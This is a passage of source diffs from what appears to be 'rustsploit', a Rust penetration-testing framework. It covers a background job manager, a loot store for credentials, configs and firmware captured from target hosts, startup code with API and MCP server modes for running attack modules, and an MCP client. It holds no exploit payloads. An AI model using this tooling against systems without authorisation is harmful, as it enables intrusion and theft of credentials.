||||
finished_at: None,
|
||||
cancel_tx,
|
||||
handle: Some(handle),
|
||||
});
|
||||
drop(jobs);
|
||||
|
||||
if let Err(e) = self.event_tx.send(JobEvent::Started {
|
||||
id,
|
||||
module: evt_module,
|
||||
target: evt_target,
|
||||
}) {
|
||||
tracing::debug!("No WS subscribers for job started event: {}", e);
|
||||
}
|
||||
|
||||
Ok((id, progress))
|
||||
}
|
||||
|
||||
pub fn kill(&self, id: u32) -> bool {
|
||||
let handle_and_tx = {
|
||||
let mut jobs = match self.jobs.write() {
|
||||
Ok(j) => j,
|
||||
Err(_) => return false,
|
||||
};
|
||||
let job = match jobs.get_mut(&id) {
|
||||
Some(j) => j,
|
||||
None => return false,
|
||||
};
|
||||
if let Err(e) = job.cancel_tx.send(true) {
|
||||
crate::meprintln!("[!] Job cancel signal error: {}", e);
|
||||
}
|
||||
job.status = JobStatus::Cancelled;
|
||||
if job.finished_at.is_none() {
|
||||
job.finished_at = Some(std::time::Instant::now());
|
||||
}
|
||||
job.handle.take()
|
||||
};
|
||||
if let Some(handle) = handle_and_tx {
|
||||
let abort_handle = handle.abort_handle();
|
||||
tokio::spawn(async move {
|
||||
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
|
||||
if !handle.is_finished() {
|
||||
abort_handle.abort();
|
||||
}
|
||||
});
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
pub fn list(&self) -> Vec<(u32, String, String, String, String)> {
|
||||
let mut result = Vec::new();
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
let now = std::time::Instant::now();
|
||||
for job in jobs.values_mut() {
|
||||
if let Some(ref handle) = job.handle {
|
||||
if handle.is_finished() && matches!(job.status, JobStatus::Running) {
|
||||
job.status = JobStatus::Completed;
|
||||
}
|
||||
}
|
||||
let terminal = matches!(
|
||||
job.status,
|
||||
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
|
||||
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
|
||||
if terminal && job.finished_at.is_none() {
|
||||
job.finished_at = Some(now);
|
||||
}
|
||||
}
|
||||
jobs.retain(|_, job| match job.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
});
|
||||
let mut ids: Vec<_> = jobs.keys().collect();
|
||||
ids.sort();
|
||||
for &id in &ids {
|
||||
if let Some(job) = jobs.get(id) {
|
||||
result.push((
|
||||
*id,
|
||||
job.module.clone(),
|
||||
job.target.clone(),
|
||||
job.started_at.format("%H:%M:%S").to_string(),
|
||||
format!("{}", job.status),
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
pub fn get_detail(&self, id: u32) -> Option<(String, String, String, String, Arc<JobProgress>)> {
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
if let Some(job) = jobs.get_mut(&id) {
|
||||
if let Some(ref handle) = job.handle {
|
||||
if handle.is_finished() && matches!(job.status, JobStatus::Running) {
|
||||
job.status = JobStatus::Completed;
|
||||
}
|
||||
}
|
||||
let terminal = matches!(
|
||||
job.status,
|
||||
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
|
||||
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
|
||||
if terminal && job.finished_at.is_none() {
|
||||
job.finished_at = Some(std::time::Instant::now());
|
||||
}
|
||||
return Some((
|
||||
job.module.clone(),
|
||||
job.target.clone(),
|
||||
job.started_at.format("%H:%M:%S").to_string(),
|
||||
format!("{}", job.status),
|
||||
job.progress.clone(),
|
||||
));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
pub fn get_progress(&self, id: u32) -> Option<Arc<JobProgress>> {
|
||||
self.jobs.read().ok().and_then(|jobs| {
|
||||
jobs.get(&id).map(|j| j.progress.clone())
|
||||
})
|
||||
}
|
||||
|
||||
pub fn cleanup(&self) {
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
let now = std::time::Instant::now();
|
||||
for job in jobs.values_mut() {
|
||||
let finished = job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(true);
|
||||
if finished && job.finished_at.is_none() {
|
||||
job.finished_at = Some(now);
|
||||
}
|
||||
}
|
||||
jobs.retain(|_, job| match job.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub fn display(&self) {
|
||||
let jobs = self.list();
|
||||
if jobs.is_empty() {
|
||||
crate::mprintln!("{}", "No active jobs.".dimmed());
|
||||
return;
|
||||
}
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
"ID".bold(), "Module".bold(), "Target".bold(), "Started".bold(), "Status".bold());
|
||||
crate::mprintln!(" {}", "-".repeat(80).dimmed());
|
||||
for (id, module, target, started, status) in &jobs {
|
||||
let status_colored = if status == "Running" {
|
||||
status.green().to_string()
|
||||
} else if status == "Completed" {
|
||||
status.cyan().to_string()
|
||||
} else if status.starts_with("Failed") {
|
||||
status.red().to_string()
|
||||
} else {
|
||||
status.yellow().to_string()
|
||||
};
|
||||
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
id, module, target, started, status_colored);
|
||||
}
|
||||
crate::mprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static JOB_MANAGER: Lazy<JobManager> = Lazy::new(JobManager::new);
|
||||
+315
@@ -0,0 +1,315 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Metadata for a stored loot item.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct LootEntry {
|
||||
pub id: String,
|
||||
pub host: String,
|
||||
pub loot_type: String,
|
||||
pub filename: String,
|
||||
pub description: String,
|
||||
pub source_module: String,
|
||||
pub timestamp: String,
|
||||
}
|
||||
|
||||
/// Loot store backed by JSON index + file directory.
|
||||
pub struct LootStore {
|
||||
entries: RwLock<Vec<LootEntry>>,
|
||||
index_path: PathBuf,
|
||||
loot_dir: PathBuf,
|
||||
}
|
||||
|
||||
impl LootStore {
|
||||
fn new() -> Self {
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit");
|
||||
|
||||
let loot_dir = base.join("loot");
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) {
|
||||
eprintln!("[!] Failed to create loot directory {}: {}", loot_dir.display(), e);
|
||||
}
|
||||
|
||||
let index_path = base.join("loot_index.json");
|
||||
let entries = if index_path.exists() {
|
||||
match std::fs::read_to_string(&index_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
|
||||
let backup = index_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&index_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted loot index: {}", e);
|
||||
}
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read loot_index.json: {}", e);
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
entries: RwLock::new(entries),
|
||||
index_path,
|
||||
loot_dir,
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum loot file size (100 MB).
|
||||
const MAX_LOOT_SIZE: usize = 100 * 1024 * 1024;
|
||||
|
||||
/// Store loot data and return the entry ID.
|
||||
pub async fn add(
|
||||
&self,
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
// Validate size
|
||||
if data.len() > Self::MAX_LOOT_SIZE {
|
||||
eprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
|
||||
return None;
|
||||
}
|
||||
// Validate inputs
|
||||
if host.is_empty() || host.len() > 256 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
let ext = match loot_type {
|
||||
"config" => "conf",
|
||||
"password_file" => "txt",
|
||||
"firmware" => "bin",
|
||||
"hash" => "txt",
|
||||
_ => "dat",
|
||||
};
|
||||
// Sanitize loot_type — only allow alphanumeric and underscore
|
||||
let safe_type: String = loot_type.chars()
|
||||
.filter(|c| c.is_alphanumeric() || *c == '_')
|
||||
.take(64)
|
||||
.collect();
|
||||
let safe_type = if safe_type.is_empty() { "unknown".to_string() } else { safe_type };
|
||||
|
||||
let filename = format!("{}_{}.{}", id, safe_type, ext);
|
||||
let file_path = self.loot_dir.join(&filename);
|
||||
|
||||
// Verify the resolved path is within loot_dir (prevent traversal)
|
||||
if !file_path.starts_with(&self.loot_dir) {
|
||||
eprintln!("[!] Loot path escapes loot directory");
|
||||
return None;
|
||||
}
|
||||
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&file_path)
|
||||
.await
|
||||
{
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to create loot file: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, data).await {
|
||||
eprintln!("[!] Failed to write loot data: {}", e);
|
||||
return None;
|
||||
}
|
||||
}
|
||||
|
||||
let entry = LootEntry {
|
||||
id: id.clone(),
|
||||
host: host.to_string(),
|
||||
loot_type: loot_type.to_string(),
|
||||
filename,
|
||||
description: description.to_string(),
|
||||
source_module: source_module.to_string(),
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
};
|
||||
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.push(entry);
|
||||
entries.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
Some(id)
|
||||
}
|
||||
|
||||
/// Add loot from a string (convenience).
|
||||
pub async fn add_text(
|
||||
&self,
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
text: &str,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
self.add(host, loot_type, description, text.as_bytes(), source_module).await
|
||||
}
|
||||
|
||||
/// List all loot entries.
|
||||
pub async fn list(&self) -> Vec<LootEntry> {
|
||||
self.entries.read().await.clone()
|
||||
}
|
||||
|
||||
/// Search loot by host or type.
|
||||
pub async fn search(&self, query: &str) -> Vec<LootEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.list().await.into_iter().filter(|e| {
|
||||
e.host.to_lowercase().contains(&q)
|
||||
|| e.loot_type.to_lowercase().contains(&q)
|
||||
|| e.description.to_lowercase().contains(&q)
|
||||
}).collect()
|
||||
}
|
||||
|
||||
/// Delete a loot entry by ID. Also removes the loot file from disk.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
let (removed, filename) = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
let fname = entries.iter().find(|e| e.id == id).map(|e| e.filename.clone());
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
let snapshot = entries.clone();
|
||||
drop(entries);
|
||||
self.save_locked(&snapshot).await;
|
||||
(true, fname)
|
||||
} else {
|
||||
(false, None)
|
||||
}
|
||||
};
|
||||
if let Some(fname) = filename {
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
if let Err(e) = tokio::fs::remove_file(&path).await {
|
||||
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
removed
|
||||
}
|
||||
|
||||
/// Clear all loot entries and remove loot files from disk.
|
||||
pub async fn clear(&self) {
|
||||
let filenames: Vec<String> = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let names: Vec<String> = entries.iter().map(|e| e.filename.clone()).collect();
|
||||
entries.clear();
|
||||
names
|
||||
};
|
||||
self.save_locked(&[]).await;
|
||||
for fname in filenames {
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
if let Err(e) = tokio::fs::remove_file(&path).await {
|
||||
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the full path to a loot file.
|
||||
/// Returns None if the filename contains path separators or traversal.
|
||||
pub fn file_path(&self, filename: &str) -> Option<PathBuf> {
|
||||
if filename.contains('/') || filename.contains('\\') || filename.contains("..") || filename.contains('\0') {
|
||||
return None;
|
||||
}
|
||||
let path = self.loot_dir.join(filename);
|
||||
if !path.starts_with(&self.loot_dir) {
|
||||
return None;
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
|
||||
/// Get the loot directory path.
|
||||
pub fn loot_directory(&self) -> &PathBuf {
|
||||
&self.loot_dir
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[LootEntry]) {
|
||||
let tmp = self.index_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(entries) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize loot index: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
{
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write loot index: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write loot index data: {}", e);
|
||||
return;
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.index_path).await {
|
||||
eprintln!("[!] Failed to rename loot index: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display loot table.
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No loot stored.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
"ID".bold(), "Host".bold(), "Type".bold(), "Description".bold(), "Module".bold());
|
||||
println!(" {}", "-".repeat(90).dimmed());
|
||||
for e in &entries {
|
||||
let desc = if e.description.len() > 28 {
|
||||
format!("{}...", &e.description[..25])
|
||||
} else {
|
||||
e.description.clone()
|
||||
};
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
e.id.yellow(), e.host.green(), e.loot_type, desc, e.source_module);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static LOOT_STORE: Lazy<LootStore> = Lazy::new(LootStore::new);
|
||||
|
||||
/// Convenience function for modules to store loot.
|
||||
pub async fn store_loot(
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
LOOT_STORE.add(host, loot_type, description, data, source_module).await
|
||||
}
|
||||
+178
-8
@@ -1,24 +1,194 @@
|
||||
use anyhow::Result;
|
||||
use clap::Parser;
|
||||
use std::net::SocketAddr;
|
||||
use std::process;
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use colored::*;
|
||||
use tracing_subscriber::EnvFilter;
|
||||
|
||||
mod api;
|
||||
mod cli;
|
||||
mod shell;
|
||||
mod commands;
|
||||
mod config;
|
||||
mod context;
|
||||
mod modules;
|
||||
mod native;
|
||||
mod shell;
|
||||
mod utils;
|
||||
|
||||
pub mod cred_store;
|
||||
pub mod export;
|
||||
pub mod global_options;
|
||||
pub mod jobs;
|
||||
pub mod loot;
|
||||
pub mod mcp;
|
||||
pub mod module_info;
|
||||
pub mod output;
|
||||
pub mod pq_channel;
|
||||
pub mod pq_middleware;
|
||||
pub mod spool;
|
||||
pub mod workspace;
|
||||
pub mod ws;
|
||||
|
||||
|
||||
/// Maximum length for interface/bind address
|
||||
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
|
||||
|
||||
/// Validates the bind address format
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Bind address cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
return Err(anyhow!("Bind address too long (max {} characters)", MAX_BIND_ADDRESS_LENGTH));
|
||||
}
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Bind address cannot contain control characters"));
|
||||
}
|
||||
|
||||
let with_port = if trimmed.contains(':') {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("{}:8080", trimmed)
|
||||
};
|
||||
|
||||
with_port
|
||||
.parse::<SocketAddr>()
|
||||
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
|
||||
|
||||
Ok(with_port)
|
||||
}
|
||||
|
||||
/// Returns the path to the PQ host key file.
|
||||
fn pq_host_key_path(custom: Option<&str>) -> std::path::PathBuf {
|
||||
if let Some(p) = custom {
|
||||
std::path::PathBuf::from(p)
|
||||
} else {
|
||||
home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("pq_host_key")
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns the path to the PQ authorized keys file.
|
||||
fn pq_authorized_keys_path(custom: Option<&str>) -> std::path::PathBuf {
|
||||
if let Some(p) = custom {
|
||||
std::path::PathBuf::from(p)
|
||||
} else {
|
||||
home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("pq_authorized_keys")
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
async fn main() {
|
||||
if let Err(e) = run().await {
|
||||
eprintln!("{} {}", "❌".red(), e);
|
||||
process::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
async fn run() -> Result<()> {
|
||||
// Initialize structured logging
|
||||
let filter = if std::env::var("RUST_LOG").is_ok() {
|
||||
EnvFilter::from_default_env()
|
||||
} else {
|
||||
EnvFilter::new("warn")
|
||||
};
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter(filter)
|
||||
.with_target(false)
|
||||
.init();
|
||||
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
tracing::debug!("CLI arguments parsed successfully");
|
||||
|
||||
// Handle list_modules flag
|
||||
if cli_args.list_modules {
|
||||
tracing::debug!("Listing all modules...");
|
||||
utils::list_all_modules();
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// API server mode — PQ-encrypted, no TLS, no API keys
|
||||
if cli_args.api {
|
||||
let host_key_path = pq_host_key_path(cli_args.pq_host_key.as_deref());
|
||||
let auth_keys_path = pq_authorized_keys_path(cli_args.pq_authorized_keys.as_deref());
|
||||
|
||||
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
|
||||
let bind_address = validate_bind_address(&interface).context("Invalid bind address")?;
|
||||
|
||||
tracing::debug!("Starting PQ-encrypted API server on {}...", bind_address);
|
||||
api::start_api_server(
|
||||
&bind_address,
|
||||
cli_args.verbose,
|
||||
&host_key_path,
|
||||
&auth_keys_path,
|
||||
)
|
||||
.await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// MCP server mode
|
||||
if cli_args.mcp {
|
||||
tracing::debug!("Starting MCP server on stdio...");
|
||||
mcp::run_mcp_server().await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate target if provided
|
||||
if let Some(ref target) = cli_args.target {
|
||||
if let Err(e) = utils::normalize_target(target) {
|
||||
return Err(anyhow!("Invalid target '{}': {}", target, e));
|
||||
}
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
tracing::debug!("Setting global target to: {}", target);
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("{} Global target set to: {}", "✓".green(), target);
|
||||
}
|
||||
|
||||
// Handle subcommands from CLI
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
tracing::debug!("Executing subcommand: {}", cmd);
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
// Run module directly if both -m and -t are provided
|
||||
else if let Some(ref module) = cli_args.module {
|
||||
if let Some(ref target) = cli_args.target {
|
||||
tracing::debug!("Running module '{}' against '{}'", module, target);
|
||||
commands::run_module(module, target, cli_args.verbose).await?;
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
tracing::debug!("Running module '{}' against global target '{}'", module, target);
|
||||
commands::run_module(module, &target, cli_args.verbose).await?;
|
||||
} else {
|
||||
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
|
||||
tracing::debug!("Launching interactive shell...");
|
||||
if let Some(ref rc) = cli_args.resource {
|
||||
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
|
||||
} else {
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Launch interactive shell
|
||||
else {
|
||||
shell::interactive_shell().await?;
|
||||
tracing::debug!("Launching interactive shell...");
|
||||
if let Some(ref rc) = cli_args.resource {
|
||||
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
|
||||
} else {
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -0,0 +1,219 @@
|
||||
use std::process::Stdio;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use serde_json::{json, Value};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::process::{Child, ChildStdin, ChildStdout, Command};
|
||||
|
||||
/// MCP client that communicates with an external MCP server over stdio JSON-RPC.
|
||||
pub struct McpClient {
|
||||
child: Child,
|
||||
stdin: ChildStdin,
|
||||
stdout: BufReader<ChildStdout>,
|
||||
next_id: u64,
|
||||
}
|
||||
|
||||
impl McpClient {
|
||||
/// Spawn an MCP server subprocess and prepare for JSON-RPC communication.
|
||||
pub async fn connect(command: &str, args: &[&str]) -> Result<Self> {
|
||||
let mut child = Command::new(command)
|
||||
.args(args)
|
||||
.stdin(Stdio::piped())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::inherit())
|
||||
.spawn()
|
||||
.with_context(|| format!("Failed to spawn MCP server: {} {:?}", command, args))?;
|
||||
|
||||
let stdin = child
|
||||
.stdin
|
||||
.take()
|
||||
.context("Failed to capture child stdin")?;
|
||||
let stdout_raw = child
|
||||
.stdout
|
||||
.take()
|
||||
.context("Failed to capture child stdout")?;
|
||||
let stdout = BufReader::new(stdout_raw);
|
||||
|
||||
Ok(Self {
|
||||
child,
|
||||
stdin,
|
||||
stdout,
|
||||
next_id: 1,
|
||||
})
|
||||
}
|
||||
|
||||
/// Send the `initialize` handshake and return the server capabilities.
|
||||
pub async fn initialize(&mut self) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"initialize",
|
||||
Some(json!({
|
||||
"protocolVersion": "2024-11-05",
|
||||
"capabilities": {},
|
||||
"clientInfo": {
|
||||
"name": "rustsploit-mcp-client",
|
||||
"version": env!("CARGO_PKG_VERSION")
|
||||
}
|
||||
})),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// List all tools offered by the remote server.
|
||||
pub async fn list_tools(&mut self) -> Result<Vec<Value>> {
|
||||
let id = self.next_id();
|
||||
let result = send_request(&mut self.stdin, &mut self.stdout, id, "tools/list", None).await?;
|
||||
let tools = result
|
||||
.get("tools")
|
||||
.and_then(|v| v.as_array())
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
Ok(tools)
|
||||
}
|
||||
|
||||
/// Call a tool on the remote server (30s timeout).
|
||||
pub async fn call_tool(&mut self, name: &str, args: Value) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"tools/call",
|
||||
Some(json!({
|
||||
"name": name,
|
||||
"arguments": args
|
||||
})),
|
||||
),
|
||||
)
|
||||
.await
|
||||
.context("MCP tool call timed out after 30s")?
|
||||
}
|
||||
|
||||
/// List all resources offered by the remote server.
|
||||
pub async fn list_resources(&mut self) -> Result<Vec<Value>> {
|
||||
let id = self.next_id();
|
||||
let result =
|
||||
send_request(&mut self.stdin, &mut self.stdout, id, "resources/list", None).await?;
|
||||
let resources = result
|
||||
.get("resources")
|
||||
.and_then(|v| v.as_array())
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
Ok(resources)
|
||||
}
|
||||
|
||||
/// Read a resource by URI from the remote server.
|
||||
pub async fn read_resource(&mut self, uri: &str) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"resources/read",
|
||||
Some(json!({ "uri": uri })),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Shut down the MCP server subprocess gracefully.
|
||||
pub async fn close(mut self) -> Result<()> {
|
||||
drop(self.stdin);
|
||||
match tokio::time::timeout(std::time::Duration::from_secs(5), self.child.wait()).await {
|
||||
Ok(Ok(_)) => return Ok(()),
|
||||
Ok(Err(e)) => {
|
||||
eprintln!("[!] MCP server wait error: {}", e);
|
||||
}
|
||||
Err(_) => {
|
||||
eprintln!("[!] MCP server did not exit within 5s, killing");
|
||||
}
|
||||
}
|
||||
if let Err(e) = self.child.kill().await {
|
||||
eprintln!("[!] Failed to kill MCP server: {}", e);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn next_id(&mut self) -> u64 {
|
||||
let id = self.next_id;
|
||||
self.next_id += 1;
|
||||
id
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a JSON-RPC 2.0 request and read the response.
|
||||
async fn send_request(
|
||||
stdin: &mut ChildStdin,
|
||||
stdout: &mut BufReader<ChildStdout>,
|
||||
id: u64,
|
||||
method: &str,
|
||||
params: Option<Value>,
|
||||
) -> Result<Value> {
|
||||
// Build the JSON-RPC request object
|
||||
let mut request = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"id": id,
|
||||
"method": method,
|
||||
});
|
||||
if let Some(p) = params {
|
||||
if let Some(obj) = request.as_object_mut() {
|
||||
obj.insert("params".to_string(), p);
|
||||
}
|
||||
}
|
||||
|
||||
// Serialize and send as a single line
|
||||
let line = serde_json::to_string(&request).context("Failed to serialize JSON-RPC request")?;
|
||||
stdin
|
||||
.write_all(line.as_bytes())
|
||||
.await
|
||||
.context("Failed to write to child stdin")?;
|
||||
stdin
|
||||
.write_all(b"\n")
|
||||
.await
|
||||
.context("Failed to write newline")?;
|
||||
stdin.flush().await.context("Failed to flush child stdin")?;
|
||||
|
||||
// Read response lines until we get one with a matching id.
|
||||
// Servers may emit notifications (no id) interleaved with responses.
|
||||
let mut buf = String::new();
|
||||
loop {
|
||||
buf.clear();
|
||||
let n = stdout
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read from child stdout")?;
|
||||
if n == 0 {
|
||||
anyhow::bail!("MCP server closed stdout before responding to request {}", id);
|
||||
}
|
||||
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let response: Value =
|
||||
serde_json::from_str(trimmed).context("Failed to parse JSON-RPC response")?;
|
||||
|
||||
// Check if this is a response (has "id") matching our request
|
||||
if let Some(resp_id) = response.get("id") {
|
||||
if resp_id.as_u64() == Some(id) {
|
||||
// Check for error
|
||||
if let Some(error) = response.get("error") {
|
||||
let msg = error
|
||||
.get("message")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("Unknown error");
|
||||
let code = error.get("code").and_then(|v| v.as_i64()).unwrap_or(-1);
|
||||
anyhow::bail!("MCP server error (code {}): {}", code, msg);
|
||||
}
|
||||
// Return the result field
|
||||
return Ok(response.get("result").cloned().unwrap_or(Value::Null));
|
||||
}
|
||||
}
|
||||
// Not our response (notification or different id) -- skip and keep reading
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
pub mod client;
|
||||
pub mod resources;
|
||||
pub mod server;
|
||||
